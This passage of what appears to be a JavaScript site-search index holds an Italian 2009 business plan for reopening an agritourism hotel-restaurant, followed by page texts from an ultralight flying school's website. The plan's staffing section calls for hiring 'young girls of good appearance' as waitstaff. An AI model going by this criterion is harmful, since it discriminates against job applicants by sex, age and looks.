albergo di qualità, e da un ristorante con annesse sale da pranzo per circa 120 posti e una piccola saletta per il B&B. Sono presenti una sala di lettura e relax adiacenti al salone pranzo e una piccola reception. Il salone pranzo è privo di tavoli rotondi pertanto non si possono ipotizzare ospiti superiori alle 100 unità comodamente sedute. Il complesso ha una grande veranda a ferro di cavallo sul frontespizio e un gazebo a se stante; le parti in questione possono essere adibite al servizio esterno di colazione e pranzo e per serate danzanti e musica. Un ampio parcheggio sul retro della struttura, offre il posto a circa 70 auto. (?) 3) La situazione generale: La struttura chiusa da diverso tempo comporta una serie di interventi di carattere riabilitativo poco dispendiosi ma sono necessari per fissare gli standard igienici e dei servizi, per una ospitalità di qualità. La situazione economica generale comporta un’analisi dettagliata preventiva dei costi di gestione e di una ipotesi di redditività calcolata mensilmente tenendo conto della stagionalità del servizio e della stabilità senza fermate, dell’esercizio nel tempo. L’ipotesi di lavoro terrà conto dei tempi necessari a ricreare un portafoglio clienti e fornitori. La struttura muraria e l’insieme dell’edificio sono in buonissime condizioni e non necessitano di manutenzione strutturali ma solo di alcuni interventi a carattere ordinario e di pulizia. La fornitura dell’acqua è stabile, ma proviene da pozzi e si auspica che presto sia fatto il collegamento alla rete idrica comunale. Il recipiente Gas Propano per il riscaldamento è interrato nelle immediatamente vicinanze della struttura. L’impianto per il pre-trattamento delle acque di scarico delle cucine per la separazione dall’acqua di olii e grassi non è stato individuato, pertanto bisognerà in un prossimo futuro dotarsi di questa infrastruttura: (si precisa che la presenza di queste sostanze viscose arreca danni occludendo le tubazioni, provocando odori nauseabondi). La biancheria sarà inventariata e necessita di un rinnovo di lavaggio per la lunga permanenza nei cassetti. L’insieme delle camere dell’albergo sono in efficienza; una sufficiente areazione e le pulizie di prassi le porranno in condizione di ospitare nuovamente i clienti. La sala ristorante dopo l’inventario delle tovaglie, tovaglioli e tende e il loro lavaggio, tornerà ad essere efficiente. La cucina dopo le pulizie di prassi può tornare in tempo breve a servire i pasti. La stessa può essere dotata di un fornetto mini per la cottura dei cornetti per le colazioni. 4) Promozione aziendale La crisi economica del settore e in particolare della nostra nicchia costringe l’imprenditore a contrarre sempre di più i prezzi confrontandoli di continuo con la concorrenza. Questo prevede una strategia d’azione mirata e più incisiva. Nella prospettiva di rispondere tempestivamente sul come riproporsi alla clientela che già conosce il Maniero, acquisire e fidelizzare i clienti, si propongono una serie di interventi di carattere divulgativo e pubblicitario che si basano su proposte moderne. La promozione prevede i seguenti punti: Miglioramento del sito Internet aziendale trasferito su un altro server per meglio agire su di esso e modificarne in tempo reale i contenuti con costi nulli; è universalmente riconosciuta l’importanza di Internet per il settore turistico. Chi offre un servizio virtuale di informazione efficiente ha più possibilità di imporsi su mercato raccogliendo, di conseguenza, più richieste. Allo scopo si metteranno nuove foto, si indicheranno meglio le attività svolte consentendo all’utente navigatore di conoscere tutte le informazioni utili nel modo più leggibile e immediato, da quelle più generali per contattare l’azienda per telefono o per posta elettronica, quelle per raggiungerla, nonché quella delle offerte in corso. Una connessione Internet si rende necessaria. Distribuzione di volantini nei bar e nelle edicole dei paesi limitrofi, che comunicano che il Maniero è attivo. Telefonate di informazione alle Agenzie turistiche. Cartelli stradali in cartone (a perdere) con la segnalazione del locale. Organizzare visite guidate e percorsi didattici per le scuole. Organizzazione di attività ricreative, culturali e didattiche di pratica sportiva, escursionistica e di ippoturismo finalizzate ad una migliore fruizione e conoscenza del territorio e la degustazione dei prodotti dell’azienda agricola 5) Vendita di prodotti tipici. Innumerevoli sono i prodotti tipici, alimentari della nostra regione in particolare del ……………. Varie sono le ditte e le aziende agricole del circondario che producono alimenti e conserve biologiche e di produzione integrata. Essendo questo un settore in espansione si potrebbe intravedere la possibilità di creare un banco vendita di conserve, pasta e olio del luogo con la certificazione di qualità. L'investimento per l'avvio dell'attività può anche essere limitato, se il negozio e la vendita sono all’interno e si limita ai prodotti nostrani e a quelli acquistati a prezzo contenuto sui quali porre un buon ricarico. (Sono considerate di propria produzione le bevande ed i cibi prodotti e lavorati nell’azienda agricola, nonché quelli ricavati da materie prime dell’azienda che hanno subito lavorazioni esterne). 6) Attività Itinerari turistici Alle diversificate esigenze di coloro che nelle vacanze (anche brevi) e nei week-end cercano non solo quiete e riposo, ma anche arte, cultura, storia e sport si predisporranno degli itinerari in partenza dal ……………………….. verso luoghi e località dove soddisfare le proprie necessità di conoscenza e divertimento. L’itinerario gastronomico farà capo al nostro ristorante proponendo nel menù le ricette territoriali realizzate con ingredienti genuini. L'alternanza di menu stagionali di cucina tradizionale, a quelli di altre regioni, ciascuno dei quali con più varianti mensili, potrebbe dare un tocco di universalità e conoscenza. Inoltre migliorare e qualificare il pranzo attraverso la definizione di precise caratteristiche riguardo la qualità degli alimenti impiegati. In particolare si rileva: l’impiego di sole carni fresche e a filiera agricola controllata; la definizione di una stagionatura minima per gli insaccati; l’uso di olio extra vergine d’oliva prodotto con olive dell’azienda; l’utilizzo di un maggior numero e frequenza di prodotti biologici tra cui la carne di vitellone, la passata di pomodoro, l’insalata, le carote e le macedonie di frutta di stagione presenti settimanalmente nel menu; l’inserimento, in occasione delle giornate speciali, di prodotti a Denominazione d’origine protetta (Dop) e a Indicazione geografica protetta (Igp) in particolare scelti tra le tipologie di formaggi, salumi, frutta di cui i rispettivi Consorzi garantiscono la produzione e la provenienza. Attività ricreative Si predisporranno attività come l’equitazione, il trekking sul lungo lago e nei boschi, ed eventualmente, il tiro con l’arco. Feste e ricorrenze Si organizzeranno in occasione delle festività di calendario serate particolari con musica e intrattenimento. 7) Costi e organizzazione del personale Non si hanno a disposizione i dati della redditività trascorsa della struttura nel suo insieme, dunque si propone la gestione come segue: Personale: Direttore responsabile le cui mansioni sono definite dalla necessità di una gestione organizzativa interna con pieni poteri. La persona preposta a questo incarico dovrà, in accordo con la proprietà, stabilire le linee generali di conduzione. Sarà responsabile al ricevimento degli ospiti e all’organizzazione della loro sistemazione nonché alla programmazione e gestione di eventi. Dovrà tra l’altro avere: spirito di adattamento, autocontrollo e dovrà intrattenere rapporti improntati all'ottimismo. dovrà essere cordiale con tutti. Con i clienti sarà professionale, intuitivo e cercherà di adeguare in ogni circostanza il proprio stile di comunicazione. Disponibilità e discrezione saranno segni distintivi nel proprio operare quotidiano. Sarà preciso nel lavoro intrapreso e si assumerà tutte le responsabilità che competono al suo ruolo e all’incarico ricevuto. E’ ordinato nel vestire con un forte senso del self-respect Responsabile di sala le cui mansioni saranno di coordinare la sistemazione per un servizio ottimale alla clientela, il servizio ai tavoli e in generale le attività di gestione camere e sala pranzo. Collaborerà fino a una diversa organizzazione all’aiuto in cucina. Cuoco le cui mansioni sono definite dal ruolo. Inizialmente si opterà per una persona con qualificazione parziale capace di preparazioni di cucina semplici. 8) Programmazione La programmazione di riavvio della struttura prevede un primo utilizzo di tre persone di cui sopra con qualifiche provvisoriamente non definite interscambiabili capaci di adattarsi alle diverse necessità; in un secondo tempo si prevede l’assunzione di più persone con le seguenti mansioni: Manutentore con il ruolo di operaio. La sua figura sarà associata al servizio di manutenzione delle infrastrutture, piccole riparazioni, piccoli interventi di idraulica, trasporto e smaltimento dei rifiuti, sistemazione dei tavoli all’interno e all’esterno. Per una più efficiente redditività del suo lavoro, sarà titolo preferenziale aver già maturato dell’esperienza in strutture alberghiere, in assenza si darà peso allo spirito di iniziativa della persona, alla capacità e volontà di apprendimento. Camerieri di sala per il servizio ai tavoli. Questa figura è legata alla sala ristorante. Si prevede l’assunzione di una persona fissa a tempo indeterminato e degli avventizi (in numero variabile) assunti di volta in volta per soddisfare le necessità di un afflusso in gran numero di clienti. Nella programmazione si prevede l’assunzione di giovani ragazze di bella presenza, sorridenti e dai modi gentili. Aiuto cuoco con la mansione di aiuto di cucina le cui incombenze saranno quelle di supporto al servizio di cucina e di disimpegno delle incombenze legate alla preparazione dei cibi e della organizzazione del ricambio di stoviglie pulite. Occupazione del personale: Part-time o full-time; disponibili a un impegno continuativo e flessibile nell’arco della giornata. Si prevede vitto e alloggio per le persone responsabili in primis, questo per sostenere l’attività ricettiva nell’arco delle 24 ore. Stipendi del personale: Libera contrattazione fra le parti con possibilità di miglioramenti legati alla propria capacità nel lavoro intrapreso, buona volontà e disponibilità. La liquidazione della retribuzione su base di 15 giorni: il primo e il sedicesimo giorno di ogni mese. All’inizio si applicheranno generalmente, le regole del personale assunto a part-time con il relativo status fiscale e pensionistico. 9) Economia Fotografando l’attuale situazione economica della struttura agrituristica, della generale richiesta del mercato in diretta relazione anche con la prospettiva di ripresa del mercato turistico e del superamento della fase congiunturale, si stabilisce un piano di costi e redditività aziendale. (Vedi foglio allegato) Il presente piano di avvio prevede un anno di attività, compresa la stagionalità estiva (che è la più redditizia in assoluto per questo tipo di attività alberghiera). Conteggio mensile Relazione mensile di attività e programmazione Il dare-avere aziendale calcolato con precisione, anche se i prodotti e gli alimenti sono forniti da altri settori di attività dell’agriturismo. Allo scopo verrà creata un’apposita contabilità con gli acquisti dei beni e alimenti prodotti dall’agriturismo a prezzo di mercato all’ingrosso. 10) Punti qualificanti: Organizzare l’attività al fine di riavviare commercialmente la struttura e di garantire nel tempo, stabili condizioni di economicità e di redditività rientrando nel circuito dell’offerta turistica. Gestire al meglio per un periodo non inferiore a 12 mesi il complesso, per determinare un reddito continuo e per la stabilizzazione della situazione economica a lungo termine. Conservare l’efficienza della struttura e delle infrastrutture, dell’organizzazione alberghiera con i suoi impianti ricostituendo le normali dotazioni e scorte. Valutare con attenzione i costi di acquisto delle materie prime ricercando la migliore offerta riferita alla qualità-prezzo. Si proporranno ai fornitori nuove condizioni, modalità e tempi, nel rispetto delle singole regole generali contrattuali. Si cercheranno nuovi fornitori se necessario. Si sistemerà la struttura con una manutenzione ordinaria confacente alla buona qualità. Si capitalizzeranno i benefici della gestione, per non trovarsi senza fondi per la retribuzione del personale e delle fatture dei fornitori (un dipendente pagato regolarmente alla scadenza pattuita è più disponibile ad accettare i richiami, è creativo e non si rifiuta a richieste di interventi fuori dall’orario di lavoro), comunque a consuntivo mensile, in comune accordo con la proprietà, si stabilirà l’ammontare dei benefici da consegnare. Si farà attenzione a non detenere somme rilevanti nell’azienda per evitare furti e smarrimenti: allo scopo la proprietà dovrà dare disposizioni in merito. Non vengono conteggiati nella programmazione economica la fornitura di energia elettrica, la fornitura di energia per il riscaldamento e/o condizionamento aria, lo spurgo dei pozzi neri, la fornitura di altri servizi comuni e le parcelle del commercialista. Vengono invece conteggiati i salari nel loro insieme comprese le ritenute pensionistiche. Restano invece collegati alla contabilità ordinaria le spese di piccola manutenzione dell'immobile e delle apparecchiature elettriche. La gestione esecutiva e finanziaria è fatta dal direttore responsabile in completo accordo con la proprietà. La proprietà accetta di sovvenzionare economicamente il riavvio della struttura e di prendere decisioni condivise col direttore responsabile. Verranno redatte relazioni mensili sul trascorso e verrà redatta pure una programmazione trimestrale dell’attività Nel caso ci fosse un passivo di gestione, verrà fatta la relazione motivandone la causa. La proprietà potrà prendere visione dei conti d’azienda in qualunque momento lo ritenesse utile. Per il periodo di avvio (da stabilire), la proprietà garantirà la ricostituzione delle scorte e la retribuzione salariale dei dipendenti nonché la solvibilità degli impegni verso prestatori d’opera professionale e fornitori. Si cercherà nel più breve tempo possibile di raggiungere l’equilibrio economico, quindi la capacità dell'impresa di coprire i costi di gestione con i propri ricavi, per poi avere un cospicuo attivo tale da giustificare il mantenimento in esercizio dell’attività. 11) Priorità: l criteri di individuazione delle priorità saranno quelli di una buona gestione, onestà personale, abnegazione nel lavoro e qualità del proprio operare esteso a tutti. In particolare si farà attenzione : Alla esposizione delle autorizzazioni e permessi all’esercizio dell’attività. Alle scadenze e incombenze fiscali di pertinenza del direttore responsabile. All’inventario della biancheria e i vari degli oggetti dell’arredo e del loro stato. All’inventario dei consumabili disponibili. All’igiene e pulizia secondo lo standard di qualità dettate dalle regole amministrative pubbliche e anche dal buon senso. Alla stabilizzazione del passivo iniziale con un metodico rilevamento delle entità di spesa. Al monitoraggio dei consumi giornalieri, detersivi, alimenti, lavanderia, e ciò che concorre al mantenimento della struttura. Alla determinazione giornaliera dei tempi di lavoro del personale e loro periodo di riposo e della loro redditività. Alla utilizzazione ove possibile di tecnici manutentori dell’azienda e/o di fornitori abituali conosciuti per la loro economicità. Alla scelta dei collaboratori fra persone di provata fedeltà e capacità, che accettino la variabilità dello stipendio in base all’andamento economico dell’azienda. Alla individuazione delle situazioni di pericolo nelle aree aperte al pubblico al fine di prevenire gli incidenti ai clienti e non solo. Alla determinazione delle percentuali e dei compensi per i prestatori d’opera occasionali, Agenzie Turistiche e Tour Operator I contratti e gli impegni assunti prima dell’accettazione del presente progetto non saranno considerati nella programmazione della nuova economia di gestione. 21 settembre 2009 1");sQ1[29]=new Array("http://www.volareflyfree.it/","ULM e Scuola di volo e cultura aeronautica - Volare Fly Free - Volo Ultraleggero San Giovanni Rotondo (Foggia)","","Home Page Le News Aeronautica Scuola di Volo Il Nostro Album di Foto Contattaci Dove siete: Home Page Federazione Italiana Volo Ultraleggero La Bandiera Italiana è simbolo di unità dello Stato Nazionale, vessillo di libertà del popolo italiano che si riconosce nella Costituzione e nei suoi principi e valori. Italia Nazione d'Europa INOFORMAZIONI  La Vostra donazione ci permetterà di continuare nel lavoro di ricerca storica e di promozione della cultura del volo. Grazie Your donation will enable us to continue the work of historical research and promotion of culture of the flight. Thank you very much Appontaggio sull'incrociatore Garibaldi di un elicottero B47 08-10-2011 Nasce il Reparto Addestramento Elicotteri dell'Aeronautica Militare Molti anni orsono, e precisamente il 1 febbraio del 1953, si costituiva sull'aeroporto dell'Urbe (Roma) il Reparto Addestramento Elicotteri dell'Aeronautica Militare italiana. A Termoli per l'esame di brevetto di pilota a Pio Formica Volare con noi Gli esami a Termoli per nuovi piloti di ULM. Il nostro allievi Pio Formica ha conseguito il su brevetto: auguri al nuovo pilota. L'ULM Sky Ranger di Dario Negrin in volo La scuola di volo Facciamo conoscere il mondo dell'aviazione attreverso molteplici interventi culturali. Così facciamo diventare piloti tutti coloro che con convinzione entrano nell'ambito aeronautico: piloti professionali garantiscono la preparazione nelle varie attività di volo. Tutti contribuiscono con le loro conoscenze e esperienze a condividere la passione per il Volo Ultraleggero. Valorizza il tuo tempo libero con un giro aereo a tua scelta. Nel nostro ambiente respirerai cultura eronautica e potrete trovare informazioni di carattere generale sulle varie manifestazioni regionali e nazionali con particolare attenzione al volo ULM (Ultraleggero); ci potremo scambiare notizie sulla sicurezza del volo, sulla tecnica del pilotaggio, e sulle esperienze personali. Le attività e la formazione proposte sono aperte a tutti e principalmente ai giovani desiderosi di iniziarsi all'universo aeronautico, primo passo per una eventuale scelta di tipo professionale. Le coordinate geografiche del nostro campo di volo Sigla: FG07-7  -  S.Giovanni Rotondo  -  Gargano Volo  -  41°38,08'N / 15°45,94'E Rubriche L'aereo L5 Sentinel a Padova Aeroplani sopravvissuti o demoliti Racconti e notizie di aerei che non volano più. Aviatori Avieri e Soldati che hanno servito nell'Arma Aeronautica negli anni. Vittorio Tognoni - Marconista Operatore Aeronautica Militare Questo sito di cultura aeronautica è dedicato alla memoria dei mie genitori Vittorio Tognoni e Palma Todaro che per tutta la vita hanno onorato l'Italia è l'Arma Aeronautica. Velivoli Storici Typhoon/Tempest NV768 inglese Un bombardiere italiano: il CANT Z 1007bis Fairey Firely, Caccia Bombardiere inglese Velivoli Incidentati Documenti e foto di aeroplani danneggiati. Domenico Agusta Imprenditore e costruttore aeronautico Un grande italiano che dell'aeronautica ha fatto una sua ragione di vita. La storia e l'attività. Alto  150 anni dell'Unità d'Italia Festeggiamo i centocinquanta anni dell'Unità d'Italia. Avvenne il 17 marzo 1861. Fu proclamato lo Stato unitario italiano. Un momento di esaltazione collettiva, determinata e forte, con la quale fu trovata la via dell'unità territoriale e della nazione. Con orgoglio celebriamo insieme i 150 anni di vita della nostra patria, cittadini innamorati del loro paese: l'ITALIA, e del suo simbolo: il TRICOLORE. Severino all'aeroporto in terra battuta di Doba nel Chad 2002 Il comandante pilota Catalano Luigi e il Cessna 182 Q con gli amici sull'aviosuperfice di San Giovanni Rotondo Battesimo dell'Aria 18 agosto 2009 Monica al suo battesimo dell'aria Vedi Avventura & Viaggi 11 luglio 2009 Il GIRO DEI TRE MARI Aerei ULM provenienti da tutta Italia per partecipare al Giro Aereo. Mauro Baldacci e Renata Scuri su un aeroplano &quot;Okawango Land Africa&quot; - Pavia Arturo Bertoldo e Ombretta Peroò su aeroplano &quot;Lambada&quot; - Torino Le foto e i racconti dei partecipanti al Giro. Info Regionali Informazioni e notizie Regionali di Aeronautica LINK La Costituzione della Repubblica Italiana Il 2 giugno è la Festa della Repubblica Italiana, festa di tutti gli italiani che credono nei valori della libertà, della democrazia e della solidarietà. E' anche la festa delle nostre Forze Armate che sfilano unite, davanti al Presidente della Repubblica, Capo dello Stato, e segno tangibile dell'unità della Nazione. Siamo a fianco di coloro che nei corpi militari e di protezione civile servono il nostro Paese, sul suolo della Repubblica e all'estero, nelle operazioni internazionali di pace. Festa della Repubblica - 2 Giugno 2010 Parata Militare (1/14) Festa della Repubblica - 2 Giugno 2011 Parata Militare Omaggio all'Arma dei Carabinieri e a tutti i funzionari della Repubblica che compiono il proprio dovere con onore e dignità. Doppio Gioco (1/9) Scacco al Re (1/7) Volare Fly Free | Manfredonia | Piazza delle Rose, 3 | Telefono: 0884-587031 | Cell: 3403128295 | E-mail:");sQ1[30]=new Array("http://www.volareflyfree.it/aeronautica.html","L'Aeronautica e il mondo dell'aviazione","","Home Page Le News Aeronautica Scuola di Volo Il Nostro Album di Foto Contattaci Dove siete: Home Page / Aeronautica / Il mondo dell'Aviazione Home Page Aeronautica Aeroplani Sopravvissuti Gli stemmi e le insegne dell'Aeronautica Militare Italiana Sigle e numeri di aeroplani Avieri e Soldati che hanno servito nell'Arma Aeronautica negli anni Domenico Agusta costruttore italiano di aeroplani e elicotteri I primi elicotteri dell'Aeronautica Militare italiana Aeronautica e conoscenza del Volo Il mondo dell'Aviazione e la sua cultura. L'aviazione e la sua cultura sono entrate da tempo nell'immaginario collettivo come forme di ardimento, di coraggio e di sapienza tecnica a cui l'uomo ha aspirato da tempo immemorabile. La sua storia assomiglia ad una leggenda nella quale le meravigliose, sorprendenti ed incredibili gesta dei protagonisti sono legate a filo diretto alle conquiste tecnologiche che ci permettono oggi, di considerare l'aeroplano uno strumento quotidiano a uso e consumo di tutti, divenendo negli ultimi anni un efficace e flessibile mezzo di trasporto e di divertimento. Uno strumento tecnologico fra i meglio controllati e organizzati. Nella didattica della Cultura del Volo si vuole dare il giusto valore alle gesta prestigiose ed audaci degli aviatori il cui coraggio e sprezzo del pericolo sono stati spesso interpretati come sventatezza, l'entusiasmo come fanatismo e l'audacia come follia. Un andante popolare diffuso fra i giovani aviatori recita: &quot;in aeronautica se non son matti non li vogliamo!&quot; Non bisogna dimenticare che sin dal primo, fondamentale, “balzo” dei fratelli Wright il 17 dicembre 1903, dove un mezzo “più pesante dell’aria” veniva usato per librarsi in volo, gli ingegneri e inventori si sono cimentati nella nuova tecnologia, anzi nella tecnologia d’avanguardia di cui il mondo aeronautico e pervaso: aereo è imprescindibilmente collegato al genio e all’inventiva, tra gli altri, degli italiani. Idrovolante Siai S.55 X in cantiere per riparazioni a Puntisella (Pola) idrobase, sulla costa Istriana, 1939 È alla fine della prima guerra mondiale che un paese prettamente agricolo e rurale come il nostro operò uno sforzo poderoso e gettò le basi per un'industria aeronautica capace di competere con i colossi economici e industriali europei e d'oltre oceano. Furono italiani, tra le due guerre mondiali, i record di velocità, di altezza, di volo senza scalo, di volo rovescio: in una decina d’anni la nostra Aeronautica conquistò un centinaio di primati, alcuni dei quali rimasti imbattuti fino allo scoppio del secondo conflitto mondiale. Negli anni trenta, trionfali furono le imprese che portarono gli idrovolanti S-55, in formazione, comandata da Italo Balbo, ad ammarare nella baia di Rio de Janeiro nel 1931 e di New York nel 1933. Conoscere l'aeronautica, che è diventata patrimonio dell'umanità e di ogni cittadino, vuol dire conoscere le tappe del progresso tecnologico che ad essa è legata e agli uomini, piloti, ingegneri e tecnici che con azioni della quotidianità permettono ad velivoli di ogni tipo di solcare i cieli in sicurezza.  Alto Stampa Velivoli Storici Un bombardiere italiano: il CANT Z 1007bis FAIREY FIREFLY, Caccia Bombardiere inglese della II Guerra Mondiale Ricordiamo Ricordiamo il sacrificio dei nostri aviatori del G.222 &quot;Lyra 34&quot; della 46ª Aerobrigata abbattuto in Bosnia Robin ATL su l'aviosuperfice di Brioude (Francia) agosto 1993 L'aeroplano Robin ATL di Aldo sulla nostra aviosuperfice di S.Giovanni Rotondo giugno 2009 Robin ATL Questo è un piccolo aereo simpatico e di facile pilotaggio. È più vicino a un ULM che a un aeroplano di aviazione generale; il suo comportamento in volo è conforme allo standard della famiglia dei &quot;Robin&quot;, costruttrice del Robin DR.400/160 Major. Si dimostra un aeroplano delicato che deve essere trattato con accortezza, e tassativamente non deve mai superare la velocità massima VNE (Never Exceed speed) che è relativamente bassa. La più piccola sollecitazione della cloche verso l'avanti, oppure un aumento eccessivo di motore, avvicina pericolasamente la VNE al punto critico. La cosa ci sembra alquanto strana per un velivolo destinato alla scuola volo e dunque ai principianti. Comunque la preoccupazione non si pone ed è poco rilevante, poichè il rispetto delle velocità massime vale per tutti i velivoli e lo si insegna al primo approccio con comandi di un aeroplano. La manovrabilità di questo aeromobile e la leggerezza dei comandi ne fanno un velivolo di ottime levatura e di buona progettazione, anche se sul mercato attuale troviamo aerei di buonissima levatura. Volare Fly Free | Manfredonia (Foggia) Italia | Piazza delle Rose, 3 | Telefon: 0884-587031 | Cell: 3403128295 | E-mail:");sQ1[31]=new Array("http://www.volareflyfree.it/scuolavolo.html","Scuola di volo per aerei Ultraleggeri","","Home Page Le News Aeronautica Scuola di Volo Il Nostro Album di Foto Contattaci Dove siete: Home Page / Scuola di Volo Home Page Scuola di Volo Breve Storia dell'Aviazione Le parti principali di un aeroplano I nostri Allievi Piloti Approfondimenti Tecnici Scuola di Volo per aerei Ultraleggeri Come diventare pilota di aeroplano. Informazioni generali La nostra scuola di volo, gemellata con l'A.C .d.I. del Molise, prepara gli aspiranti piloti secondo il regolamento dell'Aereo Club d'Italia, per sostenere l'esame per l'attestato di volo da diporto e sportivo, sia da solista, sia con l'abilitazione al trasporto del passeggero. I corsi individuali e collettivi, sono articolati in 16 ore di volo e 24 di teoria, per ottenere l'attestato da solista, 30 ore di volo per l'abilitazione al trasporto del passeggero. Le lezioni teoriche e pratiche si tengono, sia nel campo di volo situato nel territorio di San Giovanni Rotondo (FG), sia a Termoli (CB). Si svolgono corsi open per ottenere l'abilitazione alla fonia aereonautica, di sicurezza volo, navigazione e uso del G.P.S. Si effettuano passaggi macchina, su ala bassa a carrello fisso e retrattile. Si organizzano raid open. Ti aspettiamo per volo di prova, ai comandi di un velivolo monomotore ULM con un Istruttore al tuo fianco, costa poco e ti darà l'opportunità di essere un pilota, anche se per una sola volta. È un'opportunità per incontrare il mondo dell'aviazione e farlo proprio. Può se vuoi, fare il primo passo per una carriera ricca di emozioni e avventura. Informazioni generali dei voli  Le coordinate geografiche del nostro campo di volo Sigla: FG07-7 Loc: S.Giovanni Rotondo Org: Gargano Volo - 41°38,08'N / 15°45,94'E Contattaci  Alto Stampa Agusta-Bell 205 EI 216 dell'Esercito &#34;insabbiato&#34; Chi è stato DOMENICO AGUSTA Una Azienda italiana di aeroplani: COSTRUZIONI AERONAUTICHE GIOVANNI AGUSTA S.p.a. Pagina dedicata alla memoria del Cavaliere del Lavoro DOMENICO AGUSTA costruttore di aeroplani. Per informazioni sui voli e iscrizioni scivere a: info@volareflyfree.it Tel cell-mobile: (+39) 3403128295 Istruttore Pilota Dario Negrin dariomauronegrin@libero.it Tel cell-mobile: (+39) 335 6549762 Volare Fly Free | Manfredonia (Foggia) Italia | Piazza delle Rose, 3 | Telefon: 0884-587031 | Cell: 3403128295 | E-mail:");sQ1[32]=new Array("http://www.volareflyfree.it/volarefoto/index.php","Foto e immagini Volare Fly Free","","Home Page Le News Aeronautica Scuola di Volo Il Nostro Album di Foto Contattaci Dove siete: Home Page / Il Nostro Album di Foto Home Page Scuola di Volo Breve Storia dell'Aviazione Le parti principali di un aeroplano I nostri Allievi Piloti Approfondimenti Tecnici '; Le Foto Foto e immagini Volare Fly Free Albums Aerei e Hangar 6 fotografie Appassionati di volo e aerei 5 fotografie Deltaplani sul Gargano 4 fotografie Amici in visita a San Giovanni 13 fotografie Modellisti a un meeting aereo 9 fotografie Visitatori della Rep. Ceca 11 fotografie Giro Aereo dei Tre Mari 15 fotografie  Volare Fly Free Selezionare un album Volare Fly Free | Manfredonia (Foggia) Italia | Piazza delle Rose, 3 | Telefon: 0884-587031 | Cell: 3403128295 | E-mail:");sQ1[33]=new Array("http://www.volareflyfree.it/contattaci.html","Contattare Volare Fly Freee","","Home Page Le News Aeronautica Scuola di Volo Il Nostro Album di Foto Contattaci Dove siete: Home Page/ Contattaci Home Page Contattaci Contattarci e avere Informazioni La Sede di Volare Fly Free: Piazza delle Rose, 3 71043 Manfredonia. Campo di Volo: Località Le Matine San Giovanni Rotondo I responsabili a cui potete rivolgervi sono: Pilota Istruttore Dario Negrin tel cell 335 6549762 Severino Tognoni tel (+39) 0884 587031 cell 3403128295 Puoi scrivere una e-mail all'indirizzo: info@volareflyfree.it Note: Puoi chiedere informazioni direttamente in Sede e lasciare un messaggio per i nostri responsabili. Il Campo di Volo è aperto il sabato e la domenica. Per trovarci nei giorni infrasettimanali telefonateci oppure scrivete a: info@volareflyfree.it Altre informazioni alla pagina INFO Un Douglas DC3 fotografato a Faget (Romania) Alto Stampa Mikoyan-Gurevich MiG-21 fotografato a Chisinau Rep. Moldova Velivolo prodotto in Unione Sovietica negli anni 50, dal binomio ingegneristico Artëm Ivanovic Mikojan e Michail Iosifovic Gurevic. Caccia intercettore, monomotore, in forza a tutte le aeronautiche militari dell'Est Europeo e di Paesi &quot;Non allineati&quot;. Scuola Piloti Segui il corso di pilota di ULM e entrerai nel mondo del cielo Volare Fly Free | Manfredonia (Foggia) Italia | Piazza delle Rose, 3 | Telefon: 0884-587031 | Cell: 3403128295 | E-mail:");sQ1[34]=new Array("http://www.volareflyfree.it/silvernews/index.php?act=home","Ricordi e notizie dal mondo dell'aviazione","","Home Page Le News Aeronautica Scuola di Volo Il Nostro Album di Foto Contattaci 20.01.2012, 21:25 Homepage · Search ·  Categories ·  Userlist Category News Latest News Notizie Racconti e aviatori 13 No news (---)--- Aerei Italia Aerei e aeromobili che hanno fatto la storia dell'aviazione 4 Aermacchi MB-326 Termoli - Aer... ( severino)15.02.2011, 10:52 Industria aeronautica Storia dell'industria aeronauticha e imprenditori 2 SIAI-Marchetti SF-600 Canguro ( severino)22.07.2009, 12:22 Aerei del mondo Aerei dal mondo e attività legate al volo 4 No news (---)--- Battesimo dell'aria Il piacere di volare 2 Michela al suo primo volo ( Dario)07.02.2009, 20:28 This page has been generated in 0.0127 seconds. (1 MySQL-Queries) Volare Fly Free | Manfredonia (Foggia) Italia | Piazza delle Rose, 3 | Tel: 0884-587031 | Cell: 3403128295 | E-mail:");sQ1[35]=new Array("http://www.volareflyfree.it/silvernews/index.php?act=search","Ricordi e notizie dal mondo dell'aviazione","","Home Page Le News Aeronautica Scuola di Volo Il Nostro Album di Foto Contattaci 20.01.2012, 21:25 Homepage · Search ·  Categories ·  Userlist » Search Search in news Search in titles » Broaden Search +word word must be included. -word word must not be included. &quot;This is a sentence&quot; This is a sentence is found, sentence is not. *word Not only word but also keyword is found. This page has been generated in 0.0078 seconds. (1 MySQL-Queries) Volare Fly Free | Manfredonia (Foggia) Italia | Piazza delle Rose, 3 | Tel: 0884-587031 | Cell: 3403128295 | E-mail:");sQ1[36]=new Array("http://www.volareflyfree.it/silvernews/index.php?act=cats","Ricordi e notizie dal mondo dell'aviazione","","Home Page Le News Aeronautica Scuola di Volo Il Nostro Album di Foto Contattaci 20.01.2012, 21:25 Homepage · Search ·  Categories ·  Userlist Category News Latest News Notizie Racconti e aviatori 13 No news (---)--- Aerei Italia Aerei e aeromobili che hanno fatto la storia dell'aviazione 4 Aermacchi MB-326 Termoli - Aer... ( severino)15.02.2011, 10:52 Industria aeronautica Storia dell'industria aeronauticha e imprenditori 2 SIAI-Marchetti SF-600 Canguro ( severino)22.07.2009, 12:22 Aerei del mondo Aerei dal mondo e attività legate al volo 4 No news (---)--- Battesimo dell'aria Il piacere di volare 2 Michela al suo primo volo ( Dario)07.02.2009, 20:28 This page has been generated in 0.0090 seconds. (1 MySQL-Queries) Volare Fly Free | Manfredonia (Foggia) Italia | Piazza delle Rose, 3 | Tel: 0884-587031 | Cell: 3403128295 | E-mail:");sQ1[37]=new Array("http://www.volareflyfree.it/silvernews/index.php?act=userlist","Ricordi e notizie dal mondo dell'aviazione","","Home Page Le News Aeronautica Scuola di Volo Il Nostro Album di Foto Contattaci 20.01.2012, 21:25 Homepage · Search ·  Categories ·  Userlist » Userlist User News E-Mail AIM ICQ YIM Dario 1 E-Mail --- --- --- severino 21 E-Mail --- --- --- This page has been generated in 0.0081 seconds. (1 MySQL-Queries) Volare Fly Free | Manfredonia (Foggia) Italia | Piazza delle Rose, 3 | Tel: 0884-587031 | Cell: 3403128295 | E-mail:");sQ1[38]=new Array("http://www.volareflyfree.it/silvernews/index.php?news=15&act=previous","Ricordi e notizie dal mondo dell'aviazione","","Home Page Le News Aeronautica Scuola di Volo Il Nostro Album di Foto Contattaci 20.01.2012, 21:26 Homepage · Search ·  Categories ·  Userlist « »&raquo; Notizie: Una tragedia aviatoria in Romania Nostro articolo in data 06 luglio 2010 Riporto la notizia di un incidente aereo avvenuto ieri, con un aereo relativamente sicuro qualè l'Antonov AN-2 (che personalmente amo molto). Dodici militari delle Forze Armate romene dei quali 4 